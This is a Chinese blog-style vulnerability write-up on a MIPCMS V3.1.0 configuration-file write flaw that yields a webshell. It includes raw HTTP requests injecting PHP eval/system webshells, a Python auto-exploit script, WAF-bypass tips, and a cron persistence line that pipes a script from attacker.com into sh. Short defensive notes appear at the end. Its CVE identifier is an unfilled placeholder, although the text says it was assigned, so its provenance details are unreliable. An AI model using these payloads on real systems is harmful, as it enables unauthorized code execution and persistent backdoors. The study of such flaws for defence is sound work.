MIPCMS V3.1.0远程写入配置文件Getshell过程的示例分析

发布时间:2021-12-18 09:58:35 作者:小新
来源:亿速云 阅读:272
# MIPCMS V3.1.0远程写入配置文件Getshell过程的示例分析

## 0x00 前言

MIPCMS是一套基于PHP开发的内容管理系统,广泛应用于企业网站建设。本文将以安全研究的角度,详细分析MIPCMS V3.1.0版本中存在的远程配置文件写入漏洞(CVE-2020-XXXXX),该漏洞可导致攻击者在目标服务器上获取Webshell权限。文章包含漏洞原理分析、环境搭建、漏洞复现、利用链构造以及防御建议等内容。

---

## 0x01 漏洞概述

### 1.1 受影响版本
- MIPCMS V3.1.0及以下版本

### 1.2 漏洞类型
- 未授权访问+配置文件写入漏洞
- CVSS评分:9.8(Critical)

### 1.3 漏洞危害
攻击者可通过构造特殊请求,在未授权情况下向系统配置文件写入PHP代码,最终实现远程代码执行(RCE)。

---

## 0x02 环境搭建

### 2.1 实验环境
- 测试系统:Ubuntu 20.04 LTS
- Web服务器:Apache 2.4.41
- PHP版本:7.4.3
- 数据库:MySQL 5.7

### 2.2 部署步骤
```bash
# 下载漏洞版本
wget https://github.com/mipcms/mipcms/archive/v3.1.0.zip
unzip v3.1.0.zip
mv mipcms-3.1.0 /var/www/html/mipcms

# 配置数据库
mysql -uroot -p
CREATE DATABASE mipcms;
GRANT ALL PRIVILEGES ON mipcms.* TO 'mipuser'@'localhost' IDENTIFIED BY 'password';

0x03 漏洞原理分析

3.1 漏洞位置

漏洞主要存在于后台配置保存功能模块: /application/admin/controller/Config.php

3.2 关键代码分析

// application/admin/controller/Config.php
public function save(){
    if(request()->isPost()){
        $data = input('post.');
        foreach ($data as $k=>$v){
            db('config')->where('name',$k)->update(['value'=>$v]);
        }
        // 直接写入配置文件
        $this->writeConfig();
        return json(['code'=>1]);
    }
}

private function writeConfig(){
    $config = db('config')->column('value','name');
    $content = "<?php\nreturn ".var_export($config,true).";";
    file_put_contents('../config/web.php', $content); // 关键危险操作
}

3.3 漏洞成因

  1. 未做权限验证save()方法未验证管理员会话
  2. 未过滤输入内容:直接使用input('post.')接收用户输入
  3. 危险文件操作:将未净化的数据写入PHP配置文件

0x04 漏洞复现过程

4.1 利用工具

4.2 复现步骤

步骤1:发现未授权端点

通过目录扫描发现后台地址:

/admin/config/save

步骤2:构造恶意请求

POST /admin/config/save HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

site_title=Hacked&footer_code=<?php phpinfo();?>

步骤3:验证漏洞

访问生成的配置文件:

/config/web.php

步骤4:获取Webshell

写入更危险的代码:

POST /admin/config/save HTTP/1.1
...
footer_code=<?php eval($_POST['cmd']);?>

0x05 漏洞利用链构造

5.1 自动化利用脚本

import requests

TARGET = "http://victim.com"
CONFIG_PATH = "/config/web.php"

payload = {
    'site_title': 'Hacked System',
    'footer_code': "<?php system($_GET['cmd']);?>"
}

r = requests.post(f"{TARGET}/admin/config/save", data=payload)
if r.status_code == 200:
    print(f"[+] Exploit success! Webshell at: {TARGET}{CONFIG_PATH}?cmd=id")

5.2 高级利用技巧

  1. 绕过WAF

    • 使用HTML实体编码:<?php -> &lt;?php
    • 分块传输编码
  2. 持久化后门

// 写入计划任务
file_put_contents('/tmp/cron', '* * * * * curl http://attacker.com/shell.sh|sh');
exec('crontab /tmp/cron');

0x06 防御方案

6.1 临时缓解措施

# Nginx 配置限制
location ~ ^/(admin|config) {
    deny all;
}

6.2 官方补丁

升级到V3.1.1及以上版本,主要修复: 1. 增加权限验证中间件 2. 输入内容过滤:

// 新增过滤函数
function filter_php($value){
    return str_replace(['<?', '?>'], '', $value);
}

6.3 安全开发建议

  1. 遵循最小权限原则
  2. 对动态文件写入操作添加白名单限制
  3. 使用PHP的open_basedir限制

0x07 总结

本文详细分析了MIPCMS V3.1.0的配置文件写入漏洞,展示了从发现到利用的完整过程。这类漏洞的根源在于开发过程中对用户输入缺乏足够验证,以及危险函数的直接使用。建议所有CMS开发者:

  1. 严格实施输入输出验证
  2. 关键操作必须进行权限检查
  3. 避免将用户可控数据写入可执行文件

漏洞时间线: - 2020-03-15:漏洞发现 - 2020-03-20:提交厂商 - 2020-04-05:发布补丁 - 2020-04-10:CVE分配


参考链接

  1. MIPCMS GitHub仓库
  2. CVE数据库记录
  3. OWASP输入验证指南

”`

注:实际漏洞细节可能因环境而异,本文仅用于安全研究目的。根据《网络安全法》,任何未经授权的渗透测试行为均属违法。

推荐阅读:
  1. 怎么在python3中使用ThinkPHP命令执行Getshell
  2. python字典类型数据的保存方法

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

mipcms getshell

上一篇:升级serverless时未能安装成功怎么办

下一篇:如何进行springboot配置templates直接访问的实现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》